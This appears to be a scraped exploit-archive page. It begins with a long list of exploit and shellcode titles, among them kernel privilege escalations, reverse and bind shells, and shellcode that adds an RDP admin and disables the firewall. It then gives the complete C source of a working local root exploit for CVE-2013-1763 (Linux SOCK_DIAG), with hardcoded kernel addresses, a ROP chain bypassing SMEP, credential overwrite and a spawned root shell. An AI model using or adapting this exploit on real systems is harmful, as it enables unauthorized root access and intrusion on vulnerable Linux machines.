
114 changes to exploits/shellcodes Notepad++ < 7.7 (x64) - Denial of Service winrar 5.80 64bit - Denial of Service WinRAR 5.80 (x64) - Denial of Service Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilter target_offset Out-of-Bounds Privilege Escalation Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilter 'target_offset' Out-of-Bounds Privilege Escalation TeamViewer 11 < 13 (Windows 10 x86) - Inline Hooking / Direct Memory Modification Permission Change Microsoft Windows 7 SP1 x86 - GDI Palette Objects Local Privilege Escalation (MS17-017) Microsoft Windows 7 SP1 (x86) - GDI Palette Objects Local Privilege Escalation (MS17-017) Microsoft Word 2007 (x86) - Information Disclosure IKARUS anti.virus 2.16.7 - 'ntguard_x64' Local Privilege Escalation ASX to MP3 Converter 1.82.50 (Windows 2003 x86) - '.asx' Local Stack Overflow Linux Kernel < 3.5.0-23 (Ubuntu 12.04.2 x64) - 'SOCK_DIAG' SMEP Bypass Local Privilege Escalation Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter target_offset' Local Privilege Escalation Linux Kernel < 3.16.39 (Debian 8 x64) - 'inotfiy' Local Privilege Escalation Linux Kernel < 3.5.0-23 (Ubuntu 12.04.2 x64) - 'SOCK_DIAG' SMEP Bypass Local Privilege Escalation Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter target_offset' Local Privilege Escalation Linux Kernel < 3.16.39 (Debian 8 x64) - 'inotfiy' Local Privilege Escalation Microsoft Internet Explorer 11 (Windows 7 x64/x86) - vbscript Code Execution Microsoft Internet Explorer 11 (Windows 7 x86/x64) - vbscript Code Execution Linux Kernel 2.6.x / 3.10.x / 4.14.x (RedHat / Debian / CentOS) (x64) - 'Mutagen Astronomy' Local Privilege Escalation R 3.4.4 (Windows 10 x64) - Buffer Overflow (DEP/ASLR Bypass) MySQL User-Defined (Linux) (x32/x86_64) - 'sys_exec' Local Privilege Escalation MySQL User-Defined (Linux) (x86) - 'sys_exec' Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) Microsoft Windows (x84/x64) - 'Error Reporting' Discretionary Access Control List / Local Privilege Escalation Microsoft Windows (x86/x64) - 'Error Reporting' Discretionary Access Control List / Local Privilege Escalation Microsoft Windows (x86) - Task Scheduler' .job' Import Arbitrary Discretionary Access Control List Write / Local Privilege Escalation R 3.4.4 (Windows 10 x64) - Buffer Overflow SEH (DEP/ASLR Bypass) Linux Kernel 4.4.0-21 < 4.4.0-51 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Condition Privilege Escalation Linux Kernel 4.4.0-21 < 4.4.0-51 (Ubuntu 14.04/16.04 x64) - 'AF_PACKET' Race Condition Privilege Escalation Microsoft Windows 7 build 7601 (x86) - Local Privilege Escalation Free Desktop Clock x86 Venetian Blinds Zipper 3.0 - Unicode Stack Overflow (SEH) Atomic Alarm Clock x86 6.3 - 'AtomicAlarmClock' Unquoted Service Path DEWESoft X3 SP1 (64-bit) - Remote Command Execution DEWESoft X3 SP1 (x64) - Remote Command Execution CompleteFTP Professional 12.1.3 - Remote Code Execution TeamCity Agent XML-RPC 10.0 - Remote Code Execution eGroupWare 1.14 - 'spellchecker.php' Remote Command Execution FreeBSD x86 / x64 - execve(/bin/sh) Anti-Debugging Shellcode (140 bytes) FreeBSD x86/x64 - execve(/bin/sh) Anti-Debugging Shellcode (140 bytes) Linux/x86 - /usr/bin/head -n99 cat etc/passwd Shellcode (61 Bytes) Linux/x86 - Kill All Processes Shellcode (14 bytes) Linux/x86 - Add User to /etc/passwd Shellcode (59 bytes) Linux/x86 - adduser (User) to /etc/passwd Shellcode (74 bytes) Linux/x86 - execve /bin/sh Shellcode (25 bytes) Linux/x86 - Reverse Shell NULL free 127.0.0.1:4444 Shellcode (91 bytes) Linux/x86 - execve(/bin/sh) socket reuse Shellcode (42 bytes) Linux/x86 - (NOT|ROT+8 Encoded) execve(/bin/sh) null-free Shellcode (47 bytes) Linux/x86 - Add User to /etc/passwd Shellcode (59 bytes) Linux/x86 - adduser (User) to /etc/passwd Shellcode (74 bytes) Linux/x86 - execve /bin/sh Shellcode (25 bytes) Linux/x86 - Reverse Shell NULL free 127.0.0.1:4444 Shellcode (91 bytes) Linux/x86 - execve(/bin/sh) socket reuse Shellcode (42 bytes) Linux/x86 - (NOT|ROT+8 Encoded) execve(/bin/sh) null-free Shellcode (47 bytes) Linux/x86 - Execve() Alphanumeric Shellcode (66 bytes) Linux/x86 - Random Bytes Encoder + XOR/SUB/NOT/ROR execve(/bin/sh) Shellcode (114 bytes) Linux/x86 - Execve() Alphanumeric Shellcode (66 bytes) Linux/x86 - Random Bytes Encoder + XOR/SUB/NOT/ROR execve(/bin/sh) Shellcode (114 bytes) Windows/x86 - Dynamic Bind Shell + Null-Free Shellcode (571 Bytes) Linux/x86 - Bind Shell Generator Shellcode (114 bytes) Windows/x86 - Dynamic Bind Shell + Null-Free Shellcode (571 Bytes) Linux/x86 - Bind Shell Generator Shellcode (114 bytes) Windows/x64 - Dynamic MessageBoxA or MessageBoxW PEB & Import Table Method Shellcode (232 bytes) Linux\x86 - 'reboot' polymorphic Shellcode (26 bytes) Windows/x64 - Dynamic MessageBoxA or MessageBoxW PEB & Import Table Method Shellcode (232 bytes) Linux/x86 - 'reboot' polymorphic Shellcode (26 bytes) Windows/x86 - MSVCRT System + Dynamic Null-free + Add RDP Admin + Disable Firewall + Enable RDP Shellcode (644 Bytes) Linux/x64 - Password (P3WP3Wl4ZerZ) + Bind (0.0.0.0:4444/TCP) Shell (/bin/bash) + Null-free Shellcode (272 Bytes) Windows/x86 - MSVCRT System + Dynamic Null-free + Add RDP Admin + Disable Firewall + Enable RDP Shellcode (644 Bytes) Linux/x64 - Password (P3WP3Wl4ZerZ) + Bind (0.0.0.0:4444/TCP) Shell (/bin/bash) + Null-free Shellcode (272 Bytes)
153 lines
No EOL
3.8 KiB
C
153 lines
No EOL
3.8 KiB
C
/**
|
|
* based on the exploit by SynQ
|
|
*
|
|
* Modified PoC for CVE-2013-1763 with SMEP bypass
|
|
* Presentation: Practical SMEP Bypass Techniques on Linux
|
|
* Vitaly Nikolenko
|
|
* vnik@cyseclabs.com
|
|
*
|
|
* Target: Linux ubuntu 3.5.0-23-generic #35~precise1-Ubuntu SMP Fri Jan 25 17:13:26 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
|
|
*
|
|
* gcc sockdiag_smep.c -O2 -o pwn
|
|
*/
|
|
|
|
/**
|
|
EDB Note: Video ~ https://youtu.be/jHJd-5NvWlQ
|
|
**/
|
|
|
|
#include <unistd.h>
|
|
#include <sys/socket.h>
|
|
#include <netinet/tcp.h>
|
|
#include <errno.h>
|
|
#include <linux/if.h>
|
|
#include <linux/filter.h>
|
|
#include <string.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <linux/inet_diag.h>
|
|
#include <sys/mman.h>
|
|
#include <assert.h>
|
|
//#include <linux/sock_diag.h>
|
|
//#include <linux/unix_diag.h>
|
|
//#include <linux/netlink.h>
|
|
#include "sock_diag.h"
|
|
#include "unix_diag.h"
|
|
#include "netlink.h"
|
|
|
|
unsigned long user_cs;
|
|
unsigned long user_ss;
|
|
unsigned long user_rflags;
|
|
|
|
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
|
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
|
_commit_creds commit_creds;
|
|
_prepare_kernel_cred prepare_kernel_cred;
|
|
unsigned long sock_diag_handlers, nl_table;
|
|
|
|
static void saveme() {
|
|
asm(
|
|
"movq %%cs, %0\n"
|
|
"movq %%ss, %1\n"
|
|
"pushfq\n"
|
|
"popq %2\n"
|
|
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" );
|
|
}
|
|
|
|
void shell(void) {
|
|
if(!getuid())
|
|
system("/bin/sh");
|
|
|
|
exit(0);
|
|
}
|
|
|
|
static void restore() {
|
|
asm volatile(
|
|
"swapgs ;"
|
|
"movq %0, 0x20(%%rsp)\t\n"
|
|
"movq %1, 0x18(%%rsp)\t\n"
|
|
"movq %2, 0x10(%%rsp)\t\n"
|
|
"movq %3, 0x08(%%rsp)\t\n"
|
|
"movq %4, 0x00(%%rsp)\t\n"
|
|
"iretq"
|
|
: : "r" (user_ss),
|
|
"r" ((unsigned long)0x36000000),
|
|
"r" (user_rflags),
|
|
"r" (user_cs),
|
|
"r" (shell)
|
|
);
|
|
}
|
|
|
|
int __attribute__((regparm(3)))
|
|
kernel_code()
|
|
{
|
|
commit_creds(prepare_kernel_cred(0));
|
|
restore();
|
|
|
|
return -1;
|
|
}
|
|
|
|
int main(int argc, char*argv[])
|
|
{
|
|
int fd;
|
|
|
|
struct sock_diag_handler {
|
|
__u8 family;
|
|
int (*dump)(void *a, void *b);
|
|
};
|
|
|
|
unsigned family;
|
|
struct {
|
|
struct nlmsghdr nlh;
|
|
struct unix_diag_req r;
|
|
} req;
|
|
|
|
if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
|
|
printf("Can't create sock diag socket\n");
|
|
return -1;
|
|
}
|
|
|
|
void *mapped;
|
|
void *fakestruct;
|
|
struct sock_diag_handler a;
|
|
a.dump = (void *)0xffffffff8100b74f;
|
|
|
|
commit_creds = (_commit_creds) 0xffffffff8107ee30;
|
|
prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff8107f0c0;
|
|
|
|
assert((fakestruct = mmap((void *)0x10000, 0x10000, 7|PROT_EXEC|PROT_READ|PROT_WRITE, 0x32|MAP_FIXED|MAP_POPULATE, 0, 0)) == (void*)0x10000);
|
|
memcpy(fakestruct+0xad38, &a, sizeof(a));
|
|
|
|
assert((mapped = mmap((void*)0x35000000, 0x10000000, 7|PROT_EXEC|PROT_READ|PROT_WRITE, 0x32|MAP_POPULATE|MAP_FIXED|MAP_GROWSDOWN, 0, 0)) == (void*)0x35000000);
|
|
|
|
unsigned long *fakestack = (unsigned long *)mapped;
|
|
*fakestack ++= 0xffffffff01661ef4;
|
|
int p;
|
|
for (p = 0; p < 0x1000000; p++)
|
|
*fakestack ++= 0xffffffff8100ad9eUL;
|
|
|
|
fakestack = (unsigned long *)(mapped + 0x7000000);
|
|
printf("[+] fake stack addr = %lx\n", (long unsigned)fakestack);
|
|
*fakestack ++= 0xffffffff8133dc8fUL;
|
|
*fakestack ++= 0x407e0;
|
|
*fakestack ++= 0xffffffff810032edUL;
|
|
*fakestack ++= 0xdeadbeef;
|
|
*fakestack ++= (unsigned long)kernel_code; // transfer control to our usual shellcode
|
|
|
|
memset(&req, 0, sizeof(req));
|
|
req.nlh.nlmsg_len = sizeof(req);
|
|
req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
|
|
req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
|
|
req.nlh.nlmsg_seq = 123456;
|
|
|
|
req.r.sdiag_family = 45;
|
|
|
|
req.r.udiag_states = -1;
|
|
req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
|
|
|
|
saveme();
|
|
if ( send(fd, &req, sizeof(req), 0) < 0) {
|
|
printf("bad send\n");
|
|
close(fd);
|
|
return -1;
|
|
}
|
|
} |